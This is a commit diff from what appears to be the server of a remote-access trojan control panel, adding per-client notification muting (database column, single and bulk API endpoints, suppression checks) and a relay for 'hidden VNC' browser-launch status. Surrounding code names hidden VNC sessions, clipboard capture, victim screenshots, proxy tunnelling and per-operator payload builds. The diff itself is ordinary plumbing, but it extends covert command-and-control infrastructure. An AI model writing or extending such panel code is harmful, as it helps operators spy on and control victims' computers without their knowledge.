hvnc status and muting users.
This commit is contained in:
@@ -130,6 +130,9 @@ try {
|
||||
try {
|
||||
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
|
||||
} catch {}
|
||||
try {
|
||||
db.run(`ALTER TABLE clients ADD COLUMN notifications_muted INTEGER NOT NULL DEFAULT 0`);
|
||||
} catch {}
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS client_groups (
|
||||
@@ -1138,7 +1141,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
|
||||
const rows = db
|
||||
.query<any>(
|
||||
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor
|
||||
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted
|
||||
FROM clients c
|
||||
LEFT JOIN client_groups g ON g.id = c.group_id
|
||||
${whereSql}
|
||||
@@ -1182,6 +1185,7 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
groupId: typeof c.groupId === "number" ? c.groupId : null,
|
||||
groupName: c.groupName || null,
|
||||
groupColor: c.groupColor || null,
|
||||
notificationsMuted: c.notificationsMuted === 1,
|
||||
thumbnail: getThumbnail(c.id),
|
||||
}));
|
||||
|
||||
@@ -1526,6 +1530,22 @@ export function getClientBookmark(id: string): boolean {
|
||||
return row?.bookmarked === 1;
|
||||
}
|
||||
|
||||
export function setClientNotificationsMuted(id: string, muted: boolean): boolean {
|
||||
const result = db.run(
|
||||
`UPDATE clients SET notifications_muted=? WHERE id=?`,
|
||||
muted ? 1 : 0,
|
||||
id,
|
||||
);
|
||||
return ((result as any)?.changes || 0) > 0;
|
||||
}
|
||||
|
||||
export function isClientNotificationsMuted(id: string): boolean {
|
||||
const row = db.query<{ notifications_muted: number }>(
|
||||
`SELECT notifications_muted FROM clients WHERE id=?`,
|
||||
).get(id);
|
||||
return row?.notifications_muted === 1;
|
||||
}
|
||||
|
||||
export interface BuildProfileRecord {
|
||||
userId: number;
|
||||
name: string;
|
||||
|
||||
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
|
||||
import path from "path";
|
||||
import fs from "fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications } from "./db";
|
||||
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
|
||||
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
|
||||
import { ClientInfo, ClientRole } from "./types";
|
||||
@@ -95,6 +95,7 @@ import {
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
@@ -339,6 +340,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
getNotificationConfig,
|
||||
canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean,
|
||||
getUserRole: (userId: number) => getUserById(userId)?.role,
|
||||
isClientNotificationsMuted,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
||||
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
|
||||
@@ -677,6 +679,7 @@ async function startServer() {
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
listDistinctCountries,
|
||||
setClientBookmark,
|
||||
setClientNickname,
|
||||
setClientNotificationsMuted,
|
||||
setClientTag,
|
||||
setOnlineState,
|
||||
unbanIp,
|
||||
@@ -472,6 +473,83 @@ export async function handleClientRoutes(
|
||||
);
|
||||
}
|
||||
|
||||
if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {
|
||||
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
|
||||
}
|
||||
|
||||
const clientIds = body?.clientIds;
|
||||
if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
|
||||
return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
|
||||
}
|
||||
if (clientIds.length > 500) {
|
||||
return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
|
||||
}
|
||||
const muted = !!body?.muted;
|
||||
|
||||
let updated = 0;
|
||||
for (const cid of clientIds) {
|
||||
if (!canUserAccessClient(user.userId, user.role, cid)) continue;
|
||||
if (setClientNotificationsMuted(cid, muted)) updated++;
|
||||
}
|
||||
|
||||
notifyDashboardViewers();
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_notifications_muted:${muted}:${updated}/${clientIds.length}`, success: true });
|
||||
return Response.json({ ok: true, updated, total: clientIds.length, muted }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const muteMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/notifications-muted$/);
|
||||
if (req.method === "PATCH" && muteMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = muteMatch[1];
|
||||
if (!canUserAccessClient(user.userId, user.role, targetId)) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
if (!clientExists(targetId)) {
|
||||
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {
|
||||
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
|
||||
}
|
||||
|
||||
const muted = !!body?.muted;
|
||||
const updated = setClientNotificationsMuted(targetId, muted);
|
||||
if (!updated) {
|
||||
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||
}
|
||||
notifyDashboardViewers();
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: muted ? "mute_notifications" : "unmute_notifications",
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, muted }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/);
|
||||
if (req.method === "PATCH" && bookmarkMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -156,6 +156,7 @@ type WsLifecycleDeps = {
|
||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
@@ -723,6 +724,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_launch_status":
|
||||
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -795,6 +795,18 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_launch_status",
|
||||
browser: String(payload.browser || ""),
|
||||
step: String(payload.step || ""),
|
||||
success: !!payload.success,
|
||||
detail: String(payload.detail || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
|
||||
@@ -57,6 +57,7 @@ type CreateDeps = {
|
||||
getNotificationConfig: () => NotificationConfigShape;
|
||||
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
|
||||
getUserRole: (userId: number) => string | undefined;
|
||||
isClientNotificationsMuted: (clientId: string) => boolean;
|
||||
storeNotificationScreenshot: (
|
||||
pending: PendingNotificationScreenshot,
|
||||
bytes: Uint8Array,
|
||||
@@ -284,8 +285,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
|
||||
saveNotification(record);
|
||||
|
||||
const muted = deps.isClientNotificationsMuted(clientId);
|
||||
|
||||
requestNotificationScreenshot(info, record);
|
||||
|
||||
if (muted) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||
const sUserId = session.userId ?? session.viewer.data.userId;
|
||||
@@ -359,6 +366,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
event: "client_online" | "client_offline" | "client_purgatory",
|
||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||
) {
|
||||
if (deps.isClientNotificationsMuted(info.id)) {
|
||||
return;
|
||||
}
|
||||
const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() };
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||
|
||||
@@ -50,6 +50,7 @@ export type ClientInfo = {
|
||||
groupId?: number | null;
|
||||
groupName?: string | null;
|
||||
groupColor?: string | null;
|
||||
notificationsMuted?: boolean;
|
||||
};
|
||||
|
||||
export type ListFilters = {
|
||||
|
||||
@@ -33,6 +33,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hvnc_browser_check_result",
|
||||
"hvnc_installed_apps_result",
|
||||
"hvnc_dxgi_status",
|
||||
"hvnc_browser_launch_status",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
|
||||
Reference in New Issue
Block a user